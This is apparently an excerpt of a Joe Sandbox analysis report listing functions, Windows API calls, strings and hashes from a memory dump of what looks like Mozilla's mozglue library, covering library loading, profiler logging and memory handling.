__Init_thread_footer.LIBCMT ref: 6C3220E1
FreeLibrary.KERNEL32 ref: 6C322124

Strings

CoInitializeSecurity, xrefs: 6C3220C7
combase.dll, xrefs: 6C3220A9

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: c13a5ea8f1eff3043fc58db20fff93bce908619fad15a41a780e8c70c4d18fc5
Instruction ID: aa25ba80024bbdde69b791de84ed2a9551c138d0ff702cdd184c5732d332f505
Opcode Fuzzy Hash: c13a5ea8f1eff3043fc58db20fff93bce908619fad15a41a780e8c70c4d18fc5
Instruction Fuzzy Hash: 1C215776600209EBDF11CF55DD48D9A3BBEFB0A328F008018FA0592610E3779861CFA1

Function 6C3776C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C3776F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C377705

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C377717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C37778F,00000000,00000000,00000000,00000000), ref: 6C377731
free.MOZGLUE(00000000), ref: 6C377760

Strings

}>5l, xrefs: 6C3776C4

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>5l
API String ID: 2538299546-1892777986
Opcode ID: 741471f8a714f744cc7bcaa44ff21fef93da4d9889e1d393b9778d6e545caa02
Instruction ID: 514163151ae9109754ccf6ef7a42b2410a42d3fd9f1a19caf41e1cdecb1836ef
Opcode Fuzzy Hash: 741471f8a714f744cc7bcaa44ff21fef93da4d9889e1d393b9778d6e545caa02
Instruction Fuzzy Hash: 371193B19052556BE720AF659C44AAB7EE8EF46358F044529E888A7200E7798840CBF2

Function 6C321FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C321FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C321FFD
__Init_thread_footer.LIBCMT ref: 6C322011
FreeLibrary.KERNEL32 ref: 6C322059

Strings

combase.dll, xrefs: 6C321FD9
CoCreateInstance, xrefs: 6C321FF7

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: b08cf2889b236435e101546081d4356288776d6d71c462c9a199544e8310e644
Instruction ID: c5f3e77912a3ccee0555ab23a3745c4e0ac3e542b806eb6725ea97bd0455dce2
Opcode Fuzzy Hash: b08cf2889b236435e101546081d4356288776d6d71c462c9a199544e8310e644
Instruction Fuzzy Hash: DF1176B5601604AFEF20DF56DD48E9A7B7DFB8A369F108029F90586640E737A810CFA1

Function 6C320EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C34AB89: EnterCriticalSection.KERNEL32(6C39E370,?,?,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284), ref: 6C34AB94
Part of subcall function 6C34AB89: LeaveCriticalSection.KERNEL32(6C39E370,?,6C3134DE,6C39F6CC,?,?,?,?,?,?,?,6C313284,?,?,6C3356F6), ref: 6C34ABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C34D9F0,00000000), ref: 6C320F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C320F3C
__Init_thread_footer.LIBCMT ref: 6C320F50
FreeLibrary.KERNEL32(?,6C34D9F0,00000000), ref: 6C320F86

Strings

combase.dll, xrefs: 6C320F18
CoInitializeEx, xrefs: 6C320F36

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 5416ff5a466caae4b0f7d5e01f012ed0611cae8242ec8380096f4142907fc7ab
Instruction ID: 324c58b486450d5c4f1ec4ffc6627565343631907acf5849e4dab148853aa165
Opcode Fuzzy Hash: 5416ff5a466caae4b0f7d5e01f012ed0611cae8242ec8380096f4142907fc7ab
Instruction Fuzzy Hash: 02118274745240ABDF20DF55D918A8637BCFB4E325F104229F90592B40F73AE809CE65

Function 6C35F540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35F559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35F561

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

GetCurrentThreadId.KERNEL32 ref: 6C35F577
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F585
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C35F5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C35F499
[I %d/%d] profiler_pause_sampling, xrefs: 6C35F3A8
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C35F56A
[I %d/%d] profiler_resume, xrefs: 6C35F239

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: efb19d0736658068a3cd67b08cef52f2066058e57369fdd05c21af3f0ef8b98d
Instruction ID: 690d81b5c3d9b91a9cbd2e9c08e4dc73bf0a79d0c4f28107b5e3ef7f0aca8de7
Opcode Fuzzy Hash: efb19d0736658068a3cd67b08cef52f2066058e57369fdd05c21af3f0ef8b98d
Instruction Fuzzy Hash: BFF0B4B66002049BDB10AF649848D6A777DEB8A29DF010411FA068B701EB375C01CB61

Function 6C35F600 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35F619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C35F598), ref: 6C35F621

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

GetCurrentThreadId.KERNEL32 ref: 6C35F637
AcquireSRWLockExclusive.KERNEL32(6C39F4B8,?,?,00000000,?,6C35F598), ref: 6C35F645
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8,?,?,00000000,?,6C35F598), ref: 6C35F663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C35F62A

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 2848912005-753366533
Opcode ID: 52291622b32104f6052974e9531a21a47fe63b2c3071f56b9fb7f977c32501ca
Instruction ID: 451256aa78dab858537c039925c65f45b9a3cd1972ef596a11a4ad3927fe69cc
Opcode Fuzzy Hash: 52291622b32104f6052974e9531a21a47fe63b2c3071f56b9fb7f977c32501ca
Instruction Fuzzy Hash: 9DF0B4B6600200ABDB10AF649848D6A777DEB8A29DF410011FA4687741EB375C01CB62

Function 6C320E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C320DF8), ref: 6C320E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C320EA1
__Init_thread_footer.LIBCMT ref: 6C320EB5
FreeLibrary.KERNEL32 ref: 6C320EC5

Strings

kernel32.dll, xrefs: 6C320E7D
GetProcessMitigationPolicy, xrefs: 6C320E9B

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 0f9fc76a0a1a534eaa5b65fc9207dd6cca79d2fd2fc41735337807ad4b874f71
Instruction ID: ded118e5db9583e04f1ad4e5db2362973c6ba8872cc5d7a01e37271659699284
Opcode Fuzzy Hash: 0f9fc76a0a1a534eaa5b65fc9207dd6cca79d2fd2fc41735337807ad4b874f71
Instruction Fuzzy Hash: 1B014B70B01781CBDF008FA8D964A6633BDF70B398F100529E90186B40F77BA4588E12

Function 6C3505F0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 31stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(<jemalloc>,?,?,?,?,6C34CFAE,?,?,?,6C3131A7), ref: 6C3505FB
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,<jemalloc>,00000000,6C34CFAE,?,?,?,6C3131A7), ref: 6C350616
strlen.API-MS-WIN-CRT-STRING-L1-1-0(: (malloc) Error in VirtualFree(),?,?,?,?,?,?,?,6C3131A7), ref: 6C35061C
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,: (malloc) Error in VirtualFree(),00000000,?,?,?,?,?,?,?,?,6C3131A7), ref: 6C350627

Strings

<jemalloc>, xrefs: 6C3505FA, 6C35060F
: (malloc) Error in VirtualFree(), xrefs: 6C35061B, 6C350625

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: _writestrlen
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 2723441310-2186867486
Opcode ID: 374222c6e0fad5588be8926a3258e544d91bf9d41d40a6b1e0dd43990ca5d7e0
Instruction ID: 22cf916dcb3e03c7bea01e2f4e3dd52de4ad0d6880f5a143ef4f15973502cbaa
Opcode Fuzzy Hash: 374222c6e0fad5588be8926a3258e544d91bf9d41d40a6b1e0dd43990ca5d7e0
Instruction Fuzzy Hash: 4BE08CE2A0201037F5142266BC86DBB761CDBC6138F080139FE0E82301E98EAD1A95F7

Function 6C3205F0 Relevance: 9.2, APIs: 6, Instructions: 226COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2c9e526af752ee616bf2fa0d772b619c9431cc3c8a292f74fa027cd8dddc8d5
Instruction ID: c7fcccaead6d5612f9f17caf54d338892ffc7efc5db336ec4a13bc8a4122440a
Opcode Fuzzy Hash: f2c9e526af752ee616bf2fa0d772b619c9431cc3c8a292f74fa027cd8dddc8d5
Instruction Fuzzy Hash: 29A147B0A00645CFDB24CF29C594A9AFBF5FF48304F54866ED48A97B00E735A949CFA0

Function 6C3714A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C3714C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C3714E2
GetCurrentThreadId.KERNEL32 ref: 6C371546
InitializeConditionVariable.KERNEL32(?), ref: 6C3715BA
free.MOZGLUE(?), ref: 6C3716B4

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: be3116a9e89a22b90bbafc4b88a9e82ab1dd436ec07cae57e90cd5e6a97fdfae
Instruction ID: ca9401ef30a3338635976a7255d9eab912c5b8229a796243719895974c6808f1
Opcode Fuzzy Hash: be3116a9e89a22b90bbafc4b88a9e82ab1dd436ec07cae57e90cd5e6a97fdfae
Instruction Fuzzy Hash: B161E172A007549BDB218F25C890BDEB7B5BF89308F44851CED8A57701EB35E958CFA2

Function 6C369F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C369FDB
free.MOZGLUE(?,?), ref: 6C369FF0
free.MOZGLUE(?,?), ref: 6C36A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C36A0BE
free.MOZGLUE(?,?), ref: 6C36A0D5
free.MOZGLUE(?,?), ref: 6C36A0EB

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: dd6fbced49540feefc20973d4d46592bb82e5651ba5484af43534c659ea51e6d
Instruction ID: 27456fcf348b87feac63bb3643381cf02b774e7b9f1bdf7afeecb3ce03fa5423
Opcode Fuzzy Hash: dd6fbced49540feefc20973d4d46592bb82e5651ba5484af43534c659ea51e6d
Instruction Fuzzy Hash: BE61DF754087519FC711CF19C48059AB3F5FF88329F109659E8999BB02EB32E986CFC2

Function 6C36DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C36DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C36D38A,?), ref: 6C36DC6F
free.MOZGLUE(?,?,?,?,?,6C36D38A,?), ref: 6C36DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C36D38A,?), ref: 6C36DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C36D38A,?), ref: 6C36DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C36D38A,?), ref: 6C36DD4A

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 9ae3b4c7a2e73ab4378c3cfcdf680ae7bdc47c329ab30c4afebf33d2ecba2a22
Instruction ID: 7c3c2026fc425c08b3101ba44fcc8117fe8eef491a5ace003cf7d5c203ec2ba0
Opcode Fuzzy Hash: 9ae3b4c7a2e73ab4378c3cfcdf680ae7bdc47c329ab30c4afebf33d2ecba2a22
Instruction Fuzzy Hash: 08415CB5A00615CFCB00DF9AC88099AB7FAFF89318B654569D945ABB15E772FC00CF90

Function 6C36C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C36C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C36C842

Part of subcall function 6C36CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C38B5EB,00000000), ref: 6C36CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C36C863
std::_Facet_Register.LIBCPMT ref: 6C36C875

Part of subcall function 6C34B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C38B636,?), ref: 6C34B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C36C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C36C8BC

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 02c95cc891b34fadfb33ded33401f9cd6c630455dc1aa6d4d939d364e2eaa12b
Instruction ID: ba38cefcb619296a4e0c839c450566289e866d48247fadf1b79445abbe5b9195
Opcode Fuzzy Hash: 02c95cc891b34fadfb33ded33401f9cd6c630455dc1aa6d4d939d364e2eaa12b
Instruction Fuzzy Hash: 42118675B002059BCF10EFA5D8858AEBBB9FF89359F140129E5069B751EB319904CFA1

Function 6C34F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C34F480

Part of subcall function 6C31F100: LoadLibraryW.KERNEL32(shell32,?,6C38D020), ref: 6C31F122
Part of subcall function 6C31F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C31F132

CloseHandle.KERNEL32(00000000), ref: 6C34F555

Part of subcall function 6C3214B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C321248,6C321248,?), ref: 6C3214C9
Part of subcall function 6C3214B0: memcpy.VCRUNTIME140(?,6C321248,00000000,?,6C321248,?), ref: 6C3214EF

Part of subcall function 6C31EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C31EEE3

CreateFileW.KERNEL32 ref: 6C34F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C34F523

Strings

\oleacc.dll, xrefs: 6C34F4CB

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: dc7a0c3c346c8c9cce435e3eab7bc6736a66471cb57971dfa5f1d35a9b148b76
Instruction ID: 2eed2eef7e1390098285779bf56b12ba8199926796533e4fd4921a84fff9d1fe
Opcode Fuzzy Hash: dc7a0c3c346c8c9cce435e3eab7bc6736a66471cb57971dfa5f1d35a9b148b76
Instruction Fuzzy Hash: 0141B0306087109FE720DF69C884B9BB7F8AF89318F104A5CF59587650EB71E949CFA2

Function 6C35E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C324A68), ref: 6C35945E
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C359470
Part of subcall function 6C359420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C359482
Part of subcall function 6C359420: __Init_thread_footer.LIBCMT ref: 6C35949F

GetCurrentThreadId.KERNEL32 ref: 6C35E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C35E04F

Part of subcall function 6C3594D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C3594EE
Part of subcall function 6C3594D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C359508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C35E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C35E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C35E057

Memory Dump Source

